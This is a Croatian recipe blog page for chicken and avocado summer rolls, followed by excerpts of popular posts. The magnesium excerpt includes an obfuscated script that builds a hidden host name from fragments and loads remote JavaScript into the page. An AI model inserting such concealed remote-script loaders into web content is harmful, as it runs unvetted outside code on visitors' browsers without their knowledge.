LJETNE ROLICE S PILETINOM I AVOKADOM 🥑 🐔




Ljetne rolice s piletinom i avokadom 



Ljetne rolice razlikuju se od proljetnih i po načinu pripreme i po okusu. Za razliku od prženih proljetnih rolica koje imaju hrskavu koricu, ljetne rolice se ne prže, već se pripremaju s tankim rižinim papirom koji omekša kratkim namakanjem u vodi.





Ljetne rolice s piletinom i avokadom 


Sastojci:

  • 680 g pilećih prsa bez kostiju i kože
  • sol
  • svježe mljeveni crni papar
  • 1 žlica ulja
  • 1 1/2 čajne žličice rižinog octa
  • 1/2 čajne žličice šećera
  • 1 čajna žličica umaka od soje
  • 15 ml soka od limete
  • 1 srednji krastavac (oko 250 g), narezan na tanke trakice
  • 1 srednja mrkva (oko 100 g), oguljena i narezana na tanke trakice
  • 2 mlada luka, tanko narezana
  • 115 g staklenih rezanaca
  • 1/2 čajne žličice sezamova ulja
  • 16 listova rižinog papira promjera oko 22 cm
  • 32 lista svježeg bosiljka ili mente
  • 2 srednja avokada, tanko narezana




Priprema:

  1. Pileća prsa osušite papirnatim ručnikom pa ih obilno začinite solju i paprom. U velikoj tavi zagrijte ulje na srednje jakoj vatri. Pecite piletinu 6 do 9 minuta bez okretanja, dok ne dobije lijepu zlatnosmeđu koricu. Okrenite je i pecite još 6 do 9 minuta. Ostavite da se malo ohladi pa narežite na trakice široke oko 1 cm.
  2. U većoj zdjeli pomiješajte rižin ocat, šećer, sojin umak i sok od limete. Dodajte krastavac, mrkvu i mladi luk te lagano promiješajte kako bi se povrće ravnomjerno obložilo marinadom. Ostavite nekoliko minuta sa strane.
  3. Staklene rezance pripremite prema uputama na pakiranju. Ocijedite ih, prebacite u zdjelu i prelijte sezamovim uljem. Lagano promiješajte kako se ne bi slijepili.
  4. U široku plitku posudu ulijte mlaku vodu. Na radnu površinu stavite čistu, lagano navlaženu kuhinjsku krpu. Jedan po jedan list rižinog papira uronite u vodu oko 30 sekundi, dok ne omekša, pa ga pažljivo položite na vlažnu krpu.
  5. Na sredinu lista stavite nekoliko listića bosiljka ili mente. Dodajte 2 do 3 trakice piletine, zatim otprilike 60 g pripremljenog povrća, 1 do 2 žlice staklenih rezanaca i dvije tanke kriške avokada.
  6. Preklopite gornji i donji dio rižinog papira preko nadjeva, zatim preklopite jednu bočnu stranu i čvrsto zarolajte prema drugoj strani kako biste dobili kompaktnu rolicu. Gotove rolice slažite spojem prema dolje i prekrijte vlažnom kuhinjskom krpom kako se ne bi osušile. Ponavljajte postupak dok ne potrošite sve sastojke.
  7. Pileće ljetne rolice poslužite svježe pripremljene uz umak od po izboru.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

LIKER OD MLADIH ZELENIH ORAHA

Slika
Liker od mladih zelenih oraha  Ovaj je napitak sjajan način da povratite energiju i osnažite organizam, a priprema se vrlo jednostavno. Tajna njegove moći krije se u nedozrelim plodovima koji su u ovoj fazi prepuni vitamina, gorkih tvari i korisnih nutrijenata. Liker od mladih zelenih oraha  Sastojci: 12 srednje velikih, mladih zelenih oraha 1 litra kvalitetne domaće rakije (najbolje lozovače ili komovice) 700 g šećera (ili domaći med za zdraviju varijantu) Po želji za bolju aromu: 2 kriške limuna, 2 kriške naranče, 8-10 zrna kave, par klinčića ili malo vanilin šećera Priprema: Mlade orahe prvo detaljno operite i osušite. Zatim ih obavezno narežite na četvrtine ili polovice. Mali, ali važan savjet: Ovu radnju obavezno radite u rukavicama jer orasi puštaju intenzivnu tamnu boju koju je kasnije iznimno teško oprati s ruku!recipeci U veliku, prethodno opranu staklenku sa širokim grlom poslažite narezane orahe i prelijte ih šećerom. Ako se odlučite za dodatke poput lim...
Pročitajte više